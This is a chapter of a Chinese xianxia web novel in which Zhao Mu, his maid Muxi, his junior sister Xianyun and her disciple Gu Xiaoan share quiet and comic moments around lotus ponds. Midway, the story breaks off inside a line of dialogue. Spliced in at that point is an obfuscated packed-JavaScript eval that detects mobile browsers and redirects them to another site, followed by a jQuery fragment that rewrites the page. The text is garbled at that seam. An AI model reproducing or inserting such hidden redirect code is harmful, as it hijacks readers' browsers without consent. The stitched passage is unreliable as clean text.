自打木樨来赵暮身边,只要是公子心情不好之时,他就会坐来这池塘边。这池塘不久前才挖的,就因为当时羡云说了一句,“四方汇水,好征兆,要是再挖个池子就更不错了。”
池子不大,看着却格外清爽,水很浅很清,半点混浊都没有。池子里种着莲花,花苞亭亭玉立,花瓣素净舒展,整个池子里的莲花都是统一的浅粉色。池子边错落堆着几座假山,山石不算高大,造型小巧玲珑,和这汪水配得恰到好处。
这个池子给人的第一感觉就是太干净了,就是这份干净,让鱼儿一直都没能在这里存活。
木樨跟在赵暮身边时间长了,但她很多时候都搞不明白赵暮到底是个什么样的人,有时觉得他跟他们一样,有时又觉得他好生奇怪,就比如在他郁闷有心结之时,他就会拿着鱼竿在这池塘边坐上一整日。
难不成就因为他是仙人?
“公子,这池塘都没有鱼,我实在搞不懂,您为何……”木樨站在赵暮身旁,这番话她犹豫了很久,终于问了出来。
木樨的话让赵暮回过了神,他这才想起一件事,他收了鱼竿站了起来:“木樨,我让你去问小师妹情况,她是怎么回你的?”
“羡云姑娘说,多谢师兄的好意,经过她谨慎思考,她还是决定不去参加了。她说她很满意现在的生活,不想再有过多动荡。至于师父之事,姑娘说她相信缘分,要是最终没有结果,那就算了吧。”木樨眼睛看向上方,小心地背诵着。
“罢了。”赵暮又坐了下来,把刚才刚收好的鱼竿又重新拿了出来。
过了好一会儿,他察觉到木樨站着没走,他没有太多情绪地说了声:“你回去吧,别站着了。”
木樨依旧站着未动,他想到这位姑娘是木讷的性子,特意问道:“还有事?你尽管说,说错了我也不会怪你。”
木樨有了台阶,终于肯开了口:“公子那日谈话我恰好听到了,我不太明白,为何公子不肯把晏仙尊的事情告诉姑娘?”说话之时她声音颤颤的,每说一句都会下意识抬眼看看赵暮的反应。
赵暮叹了一声,仰起头看着木樨,眼里全是欣赏和赞叹。他拍了拍旁边的位置,说了一声“坐”,抬手间,那地方出现了一个软垫。
木樨太过紧张,动作看上去很是笨拙,她坐下后赵暮还在钓鱼,没有和她搭话,她很不自在,双手握在一起,眼睛盯着前方,不敢转头看他。
挨了很长时间,她终于憋不住了,她缓缓开口,声音带着颤:“公子是怕姑娘失望吗?”
“答对了。”
他甩了甩鱼竿:“我的小师妹以前很活泼,就跟小安一样的性子,每次见她都是蹦蹦跳跳的,看着很欢喜。她现在一直不顺,活得很不易,但是她还有一口气吊着,就是因为她觉得晏仙尊就是她师父,不认她定是有道不出口的原因,这恐怕是她现在最大的期盼,要是连这期盼都没了,她定会变成那万年槁木,没了最后的生机。”
“公子我明白了。”木樨是个心思细腻又敏感之人,听着听着,她眼尾也泛了红。她也是从下界来的,身边没了亲人,没了家,她那时也很迷茫,不知道每日的意义何在,不知道活着是为了什么。
她想起了那日偷听到的对话……
“查清楚了?晏仙尊从未去过下界?”
“晏仙尊修为深不可测,他与天地同寿,历经沧海桑田,身居神界之巅,早已超然于俗世纷扰之外。先不说我调查的结果,就拿他这个人来说,他也不可能出手干涉下界,更别提收徒了。神界上古八代世家谁不想让族中小辈拜入晏仙尊座下,可是他都一一拒绝,要是真如你说的,晏仙尊大动干戈跑去小小一下界收了个徒弟,定然是这徒弟的身世藏着不可告人的秘密。”
“要是徒弟只是普通人呢?没有你说的秘密。”
“不可能!这不是搞笑吗?”
“那要是她天资远超同龄之人,又勤奋努力,心地还十分的善良,也没有可能吗?”
“赵暮,你来神界很久了,怎么目光还是这么短浅,很多东西不是能不能,努不努力的问题,就算天资聪颖又如何!神界那么多神仙,你就拿上古八大世家来说,他们的后代又有几个是平庸之辈……言尽于此,我想说的你应该都能明白。”
在木樨走后不久,赵暮出了门。
他手里拎着一个篮子,里面装了桂花糕、鸭爪、饮子,除了这些羡云喜欢的外,他还装了一袋新买的小鱼干,这次他又换了一家。
还没推门进去就听到羡云宠溺的声音。
“窝窝,亲亲……”
“窝窝,别跑,娘抱抱你……好软好软……香香的……”
“你怎么这么可爱啊……小东西真勾引人……你老实交代,是谁派你来勾引我的对吧?我跟你真的很有缘,我感觉你就是我的本命小猫。”
赵暮从未见过这般状态的羡云,就连当初她跟那人在一起的时候也从未这样过。
赵暮刚准备叩门之时,怎么余光一撇就看到高高卷起裤脚跳进荷塘的谷小安。
她在池塘的另一面,那处地势较高,水位很浅,又因为池子里种着荷花,水里淤泥很多。她猛猛地跳下,水和着泥一起溅得老高,一秒钟的功夫,她全身都布满了泥点子,就连大门牙上都沾了几点。
“骗子,竟然跟我说可以直接跳,说这个最好玩,好玩个屁!”谷小安破口大骂。
门口站着的赵暮也懵了,她动作太快,快到他还未思考明白她是想不开还是故意的,他正犹豫要不要制止之时,她就变成了泥雕。
赵暮本想强装镇定,但是当那小泥人还对着他招招手时,他彻底忍不住了,笑出声来,神色里也多了几分真实的鲜活劲儿。
“小安,你又干什么了?”院里传来羡云的声音,“又再骂谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585848|205254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊?又是家里哪位亲戚?”
“师父,别提了,就是送猫的表哥!太过分了,您猜他怎么跟我说的,他说夏天的时候就得卷起裤脚往池子里跳,在池子里戏水可舒服了,这,这,全是泥!”
羡云笑得前仰后合:“傻妞,他跟你说让你跳这个池塘的?”
“嗯……是的吧……”
“你被耍了!这种种荷花的池子下面都是淤泥,要是没泥,荷花怎么扎根啊,难不成凭空飘着。”
“师父,你笑我……”谷小安委屈巴巴地说着,声音透着急。
“我不单要笑你,我还想来看看你现在是什么样!”
“别啊!”
正说着话,羡云便推开了门,脚步刚准备迈出去的时候,目光猝不及防对上一道身影,她意识往后退了半步。门口的赵暮同样被惊了一下,他身形微顿,眼神都有些躲闪。
四目相对的瞬间,两人都有些手足无措,气氛一时有些尴尬。
羡云刚准备开口之时,赵暮却抢先一步,他面露歉意,语气急切又带着几分局促:“小师妹,我来给你送东西,刚刚被小安吸引,就站在门口看了会儿。”
“哦,下次你直接推门进来就行,自家人别那么见外。”羡云接过篮子,目光看向荷塘对面,“这皮猴竟然跑了!可惜,我还想看看她变成什么鬼样子呢。”
“大概就是头发黏在一起……脸上是这样的……身体是……”赵暮一边比划着一边给羡云描述那画面,话语里全是藏不住的笑意。
有时候看见谷小安,赵暮总会想到羡云,她和她实在太像了,一样的爱玩爱闹,一样的视剑如命,玩起来的时候,没人能玩得过她,但是真认真起来,她也绝不含糊。
他有时候就在想,当初师父同意让小安拜羡云为师,是不是也注意到她俩的相似点?
性子习惯相似之人或者有相似经历之人,行为处事,所期所盼,喜好厌恶大致也都是相似的,他们能更好地理解对方,能更好地共情,亦能更好地欣赏、照顾。有时候对牛弹琴并不是因为那“牛”冷漠,也并非他不感兴趣,可能因为他从未站过这个立场,也从未从这个角度考虑。
但是不得不说,羡云确实是谷小安最合适的师父,扪心自问要是当初师父把小安托给自己,他未必能做得如此周到,他能顾及她的周全、她的修炼,满足她的物质所需,但是却不能照顾到她的情绪,她也大概率不会和他真正交心。
羡云面对谷小安之时,总会多一些耐心,多一些包容。
可能因为小安冥冥中也是过去她的模样,越是失去的东西,越显得弥足珍贵;越是自己未曾拥有的,越是希望自己所爱之人获得。
赵暮把目光看向那捂着嘴乐得不行的羡云,要是当初没那番遭遇,说不准她也会相信跳荷塘很好玩这番鬼话吧……然后现在就跟谷小安一样大骂,一样落荒而逃……